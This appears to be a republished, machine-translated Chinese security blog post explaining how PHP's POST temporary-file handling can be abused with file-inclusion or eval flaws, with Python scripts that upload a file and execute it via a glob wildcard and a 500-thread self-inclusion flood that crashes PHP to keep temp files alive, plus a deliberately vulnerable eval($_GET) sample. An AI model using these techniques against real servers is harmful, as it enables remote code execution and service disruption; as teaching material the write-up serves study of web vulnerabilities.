当前位置:网站首页>Using PHP post temporary file mechanism to upload arbitrary files
Using PHP post temporary file mechanism to upload arbitrary files
2022-04-23 05:14:00 【zzzzls~】
List of articles
principle
towards PHP send out Post Data packets , If the package contains files , No matter what php Is there any logic in the code to handle file upload ,php Will save this file as a temporary file
- The file is stored in by default
/tmpDirectory 『 It can be done byphp.iniOfupload_tmp_dirSpecify the storage location 』 - The file named
php[6 Random characters ], example :phpG4ef0q - If this request ends normally , Temporary files will be automatically deleted
- If it ends abnormally , For example, collapse , Temporary files may be permanently retained

stay The file contains a vulnerability When no available files are found , You can use this method , Find temporary file name , Then include !
How to get temporary file name
$_FILES
Can pass $_FILES Get file information
Array
(
[name] => run.sh
[full_path] => run.sh
[type] =>
[tmp_name] => /tmp/phpoFnbQf
[error] => 0
[size] => 10
)
phpinfo
phpinfo The page will print out all variables in the current request context , If we go straight to phpinfo The page contains the file post request , Then you can find in the return package $_FILES Contents of variables , To get the temporary file name

glob
If none of the above methods can be implemented , stay Linux in , You can also use glob wildcard Location file

glob Easy to use :
*: Instead of 0 Or Arbitrary characters?: Instead of 1 Characters[...]: Match one of the characters , example[a,b,c]Matching charactera / b / c{a, b}: matching a perhaps b
How to use this file
Combination request
Although the file is automatically deleted after the request is completed , But we can execute shell and Upload files Combined in one request ,php The code is as follows :
The php Can be executed directly shell, But this example only shows how to use temporary files
# a.php
<?php
$code = $_GET['code'];
eval($code);
?>
Python Script utilization
# run.sh The contents of the document :
# echo $PATH
import requests
# Upload files at the same time , perform shell
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.post(url, files={
'file': open('./run.sh')})
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Extend the lifetime of temporary files
In some cases , We can't put Upload files and perform shell Put together , Use the following methods to make the file exist more time , So that it can be used in other places !
Can pass File contains Give Way php Contain itself, resulting in an endless cycle , And then php The daemon will crash due to memory overflow , however php It won't quit directly because of mistakes , It empties its memory stack , To recover from errors , That's the guarantee web The normal operation of the service .
At the same time, the process Will also interrupt php Handling of temporary files , Although it will eventually be deleted , However, it is obvious that temporary files exist in the disk for a longer time than before !

Based on this , We can write concurrent scripts , Constantly launch post File request
import requests
from threading import Thread
def test():
url = "http://localhost:8080/include.php?file=include.php"
r = requests.post(url, files={
'file': open('./run.sh')})
print(r.text)
lst = []
for _ in range(500):
t = Thread(target=test)
lst.append(t)
t.start()
for item in lst:
item.join()
You can see , When we ask , There are always temporary files on disk that have not been deleted . Until the request to stop , All files were deleted

At the same time , You can use the above... Elsewhere glob Path wildcard universal load temporary file
import requests
url = "http://localhost:8080/a.php?code=echo `. /???/php??????`;"
r = requests.get(url)
print(r.text)
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Reference resources
-
No alphanumeric webshell It's an improvement
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
-
PHP Thoughts on the mechanism and utilization of temporary documents
-
PHP The file contains a vulnerability ( utilize phpinfo) Reappear
https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md
-
glob(7) — Linux manual page
-
Operating files and directories
版权声明
本文为[zzzzls~]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204220547251954.html
边栏推荐
- The WebService interface writes and publishes calls to the WebService interface (I)
- Live delivery form template - automatically display pictures - automatically associate series products
- scp命令详解
- Redis persistence
- Interview summary
- 多线程基本概念(并发与并行、线程与进程)和入门案例
- C language hash dictionary and notes
- MySQL memo (for your own query)
- Where, on when MySQL external connection is used
- Luogu p2731 horse riding fence repair
猜你喜欢

数据安全问题已成隐患,看vivo如何让“用户数据”重新披甲

Uglifyjs compress JS

Restful toolkit of idea plug-in
![[2022 ICLR] Pyramid: low complexity pyramid attention for long range spatiotemporal sequence modeling and prediction](/img/7c/51ac43080d9721f1bdc1cd78cd685b.png)
[2022 ICLR] Pyramid: low complexity pyramid attention for long range spatiotemporal sequence modeling and prediction

Transaction isolation level of MySQL transactions

Summary of MySQL knowledge points

如何在Word中添加漂亮的代码块 | 很全的方法整理和比较
![View, modify and delete [database] table](/img/a2/fcb38f2006772a1ec45cab520620ba.png)
View, modify and delete [database] table

项目经理值得一试的思维方式:项目成功方程式

Discussion on flow restriction
随机推荐
On distributed lock
持续集成(CI)/持续交付(CD)如何彻底改变自动化测试
Summary of R & D technology
Details related to fingerprint payment
何时适合进行自动化测试?(下)
数据安全问题已成隐患,看vivo如何让“用户数据”重新披甲
多线程基本概念(并发与并行、线程与进程)和入门案例
静态流水线和动态流水线的区别认识
Minimum spanning tree -- unblocked project hdu1863
Independent station operation | Facebook marketing artifact - chat robot manychat
[winui3] write an imitation Explorer file manager
MySQL foreign key constraint
深度学习笔记 —— 微调
深度学习笔记 —— 物体检测和数据集 + 锚框
A trinomial expression that causes a null pointer
C. Tree Infection(模拟+贪心)
The WebService interface writes and publishes calls to the WebService interface (2)
2022/4/22
退出vim的方法
Docker installation and mysql5 7 installation